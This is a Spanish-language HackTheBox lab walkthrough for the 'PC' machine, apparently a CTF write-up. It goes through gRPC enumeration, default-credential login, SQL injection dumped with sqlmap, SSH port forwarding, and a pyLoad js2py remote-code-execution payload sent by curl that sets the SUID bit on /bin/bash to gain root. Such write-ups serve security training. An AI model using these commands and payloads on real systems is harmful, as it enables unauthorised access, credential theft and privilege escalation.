PC – HackTheBox (Writeup)
Enumeracion: NMAP
Comienzo el escaneo de reconocimiento habitual para identificar los puertos y servicios corriendo en el sistema objetivo.
1 | nmap -p- -Pn -sC -sV 10.129.84.224 |
gRPC: 50051/tcp
Haciendo un poco de research por Google, veo que el puerto 50051 es usado por gRPC:
gRPC es un framework de código abierto desarrollado por Google que se utiliza para la comunicación entre aplicaciones distribuidas. Utiliza el Protocol Buffers (protobuf) como su lenguaje de interfaz para definir servicios y mensajes, lo que lo hace eficiente y versátil. gRPC permite a las aplicaciones comunicarse de manera rápida y confiable a través de diferentes lenguajes de programación y plataformas, lo que lo hace especialmente útil en entornos de microservicios y sistemas distribuidos.
Se basa en el protocolo HTTP/2 para la transferencia de datos y proporciona muchas características avanzadas, como autenticación, balanceo de carga y streaming.
Utilizando grpcui para interactuar con gRPC.
Procedo a la descarga de esta tool la cual va a permitir interactuar con el servicio de gRPC. (https://github.com/fullstorydev/grpcui).
Luego de familiarizarme un poco con la tool, en la consola tipeo lo siguiente apuntando a la ip del servidor y su puerto:
1 | grpcui -plaintext 10.129.84.224:50051 |
Instantáneamente al hacer esto se me abre un browser, como localhost en un puerto random con la siguiente interfaz:
En esta página tenemos la posibilidad de Registrarnos, Iniciar sesión o consultar información. Como es costumbre, siempre que me encuentro con un LOGIN intento verificar si es posible acceder con credenciales por default y ordinarias, ya sea por una mal configuración u olvido de parte del admin.
Logramos acceder como ADMIN y obtenemos un JWT.
Luego de probar distintas cosas y fallar, intento con “getInfo“, cargando el token recibido. Y como el campo del token era “token” agrego este en el request metadata en NAME:
A continuación recibo el siguiente mensaje:
Revisando la validación a través de Burpsuite tiene el siguiente formato:
USER: Explotando campo ‘id’ con SQLMAP.
Al probar varios payloads en “id”: se recibe un error similar al siguiente:
Esto me da indicio a que es vulnerable a inyecciones SQL. Guardo el request de burpsuite en un archivo.
“request.txt”
1 | POST /invoke/SimpleApp.getInfo HTTP/1.1 |
Desde SQLMAP ejecuto lo siguiente:
1 | sqlmap -r /home/user/htb/mach/pc/content/request.txt -p id -f --batch -dump-all --level 2 |
Y obtengo el siguiente resultado:
El usuario y la contraseña dumpeada:
1 | +------------------------+----------+ |
Ahora conecto via SSH y ya puedo sacar USER.
1 | ssh sau@pc.htb |
ROOT
Si chequeamos con SS para verificar qué puertos y servicios están corriendo en el sistema nos encontramos con lo siguiente:
Para poder acceder a ese puerto local desde nuestra pc atacante realizo un PortForwarding con SSH:
1 | ssh -L 7777:127.0.0.1:8000 sau@pc.htb |
Una vez que podemos acceder desde nuestra pc ingresamos con nuestro browser:
1 | http://127.0.0.1:7777/ |
Explotando pyLoad.
Luego de buscar posibles exploits sobre pyLoad encuentro en este link un interesante modo de lograrlo: https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/.
Basicamente un atacante no autenticado puede ejecutar codigo python arbitrario abusando de la funcionalidad de JS2PY.
Exploit
:
Sabiendo esto solo deberíamos realizar lo siguiente para que nuestra shell escale como root.
1 | chmod u+s /bin/bash |
Pero antes deberíamos URLencodearlo quedando del siguiente modo:
1 | chmod%20u%2Bs%20%2Fbin%2Fbash |
Finalmente el Payload final quedaría así, y lo tiramos desde la maquina victima localmente:
1 | curl -i -s -k -X $'POST' --data-binary $'jk=pyimport%20os;os.system(\"chmod%20u%2Bs%20%2Fbin%2Fbash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' $'http://127.0.0.1:8000/flash/addcrypted2' |